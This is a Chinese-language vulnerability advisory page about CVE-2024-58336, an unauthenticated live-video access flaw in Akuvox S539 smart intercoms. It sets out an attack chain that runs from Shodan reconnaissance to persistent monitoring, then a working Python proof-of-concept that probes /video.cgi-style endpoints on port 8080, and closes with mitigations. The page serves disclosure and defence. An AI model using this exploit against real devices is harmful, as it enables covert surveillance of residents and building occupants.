IPBUF安全漏洞报告
English
CVE-2024-58336 CVSS 5.3 中危

CVE-2024-58336: Akuvox Smart Intercom S539 未认证视频流访问漏洞

披露日期: 2025-12-30

漏洞信息

漏洞编号
CVE-2024-58336
漏洞类型
未授权访问/信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Akuvox Smart Intercom S539

相关标签

CVE-2024-58336未授权访问信息泄露视频流泄露 AkuvoxSmart IntercomS539IoT安全智能门禁视频监控

漏洞概述

CVE-2024-58336是影响Akuvox智能对讲设备的安全漏洞。该漏洞存在于Akuvox Smart Intercom S539型号中,由于设备在8080端口的video.cgi端点缺少适当的身份验证机制,允许未经授权的远程攻击者直接访问实时视频流。攻击者无需任何凭据即可通过构造特定的HTTP请求获取设备的视频流数据,这可能导致用户隐私泄露和安全隐患。Akuvox是一家知名的门禁电话和智能对讲系统制造商,其设备广泛应用于住宅小区、办公楼和商业建筑等场所。此漏洞的CVSS评分为5.3,属于中等严重程度,主要影响系统的机密性。攻击者可以利用此漏洞进行未经授权的监控,获取敏感区域的视频画面,对物理安全和隐私构成威胁。由于该漏洞无需认证即可利用,且攻击复杂度较低,因此具有较高的实际威胁性。建议受影响的用户及时采取防御措施,避免遭受潜在的安全风险。

技术细节

该漏洞的技术原理在于Akuvox Smart Intercom S539设备的web服务在处理video.cgi请求时缺少会话验证机制。攻击者可以通过以下方式利用此漏洞:1. 设备在8080端口监听HTTP请求;2. 攻击者直接构造GET请求到/video.cgi或类似端点;3. 设备在收到请求后未进行身份验证,直接返回视频流数据;4. 攻击者通过RTSP或其他流媒体协议接收视频内容。攻击路径分析:攻击者首先需要确定目标设备的IP地址,然后直接访问8080端口的视频端点。由于设备缺乏CSRF令牌或会话Cookie验证,任何来源的请求都会被处理。攻击者可以使用标准的HTTP工具(如curl、wget)或专门开发的脚本进行攻击。值得注意的是,该漏洞不需要任何前置条件,如获取用户凭据或进行社会工程学攻击,属于典型的未授权访问漏洞。攻击成功后,攻击者可以持续监控目标区域,获取实时视频画面,这对使用该设备的场所的物理安全构成直接威胁。

攻击链分析

STEP 1
步骤1: 侦察阶段
攻击者使用网络扫描工具(如Shodan、Censys或Nmap)搜索暴露在互联网上的Akuvox Smart Intercom设备。攻击者可以通过搜索特定端口(8080)或HTTP指纹来识别目标设备。
STEP 2
步骤2: 目标确认
攻击者确认目标设备型号为Akuvox Smart Intercom S539,并验证设备在8080端口运行web服务。通过发送HTTP请求并分析响应头,可以确认设备类型和版本信息。
STEP 3
步骤3: 漏洞利用
攻击者直接向目标设备的/video.cgi端点发送HTTP GET请求。由于设备缺少身份验证机制,攻击者无需提供任何凭据即可成功获取视频流数据。请求示例:GET http://<target_ip>:8080/video.cgi HTTP/1.1
STEP 4
步骤4: 视频流获取
设备响应视频流数据,攻击者可以通过RTSP协议或直接接收HTTP流来获取实时视频画面。攻击者可以持续监控目标区域,获取未经授权的实时视频监控能力。
STEP 5
步骤5: 持久化控制
攻击者可能编写自动化脚本持续监控视频流,或尝试利用其他相关漏洞获取设备完全控制权。由于该漏洞无需认证,攻击者可以随时重新访问视频流。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2024-58336 PoC - Akuvox Smart Intercom Unauthenticated Video Stream Access # This PoC demonstrates the vulnerability in Akuvox Smart Intercom S539 import requests import sys import re def check_vulnerability(target_ip, port=8080): """ Check if target is vulnerable to CVE-2024-58336 """ print(f"[*] Checking CVE-2024-58336 on {target_ip}:{port}") # Try to access the video endpoint without authentication endpoints = [ f"/video.cgi", f"/cgi-bin/video.cgi", f"/cgi-bin/video", f"/livestream.cgi", f"/cgi-bin/livestream.cgi" ] for endpoint in endpoints: url = f"http://{target_ip}:{port}{endpoint}" try: print(f"[*] Trying endpoint: {url}") response = requests.get(url, timeout=10, stream=True) # Check if we get a video stream response if response.status_code == 200: content_type = response.headers.get('Content-Type', '') content_length = response.headers.get('Content-Length', 'Unknown') print(f"[+] SUCCESS! Endpoint {endpoint} is accessible") print(f"[+] Content-Type: {content_type}") print(f"[+] Content-Length: {content_length}") print(f"[+] Status Code: {response.status_code}") # Try to read first chunk to confirm video data try: chunk = next(response.iter_content(chunk_size=1024)) if len(chunk) > 0: print(f"[+] Received {len(chunk)} bytes of video data") return True except: pass except requests.exceptions.Timeout: print(f"[-] Request timeout for {endpoint}") except requests.exceptions.ConnectionError: print(f"[-] Connection error for {endpoint}") except Exception as e: print(f"[-] Error accessing {endpoint}: {str(e)}") print("[-] No vulnerable endpoints found") return False def exploit_video_stream(target_ip, port=8080): """ Exploit the vulnerability to access video stream """ print(f"\n[*] Attempting to exploit video stream on {target_ip}:{port}") # Common video stream endpoints endpoints = [ "/video.cgi", "/cgi-bin/video.cgi", "/cgi-bin/snapshot.cgi?output=jpg" ] for endpoint in endpoints: url = f"http://{target_ip}:{port}{endpoint}" try: print(f"[*] Requesting: {url}") response = requests.get(url, timeout=10, stream=True, headers={ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) if response.status_code == 200: print(f"[+] Video stream accessible at {url}") print(f"[+] Headers: {dict(response.headers)}") return True except Exception as e: continue return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2024-58336.py <target_ip> [port]") print("Example: python3 cve-2024-58336.py 192.168.1.100 8080") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8080 print("=" * 60) print("CVE-2024-58336 - Akuvox Smart Intercom Unauthenticated Access") print("=" * 60) is_vulnerable = check_vulnerability(target, port) if is_vulnerable: print("\n[!] Target is VULNERABLE to CVE-2024-58336") print("[!] Attackers can access video streams without authentication") exploit_video_stream(target, port) else: print("\n[*] Target appears to be NOT vulnerable")

影响范围

Akuvox Smart Intercom S539 < 固件版本未知
Akuvox Smart Intercom S559 (可能受影响)
Akuvox Smart Intercom S557 (可能受影响)
其他 Akuvox 智能对讲设备型号 (可能受影响)

防御指南

临时缓解措施
临时缓解措施:1) 网络隔离:将Akuvox设备部署在独立的VLAN中,与主要网络隔离;2) 访问控制:在防火墙或路由器上配置ACL,限制对8080端口的访问,仅允许受信任的IP地址访问;3) 禁用不必要的服务:如果设备管理界面不需要远程访问,考虑禁用web服务的远程访问功能;4) 监控告警:配置安全监控工具,检测对video.cgi端点的异常访问请求;5) 物理安全:确保设备安装在安全位置,防止未授权的物理访问;6) 定期审计:定期检查设备配置和安全状态,及时发现和修复安全问题。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表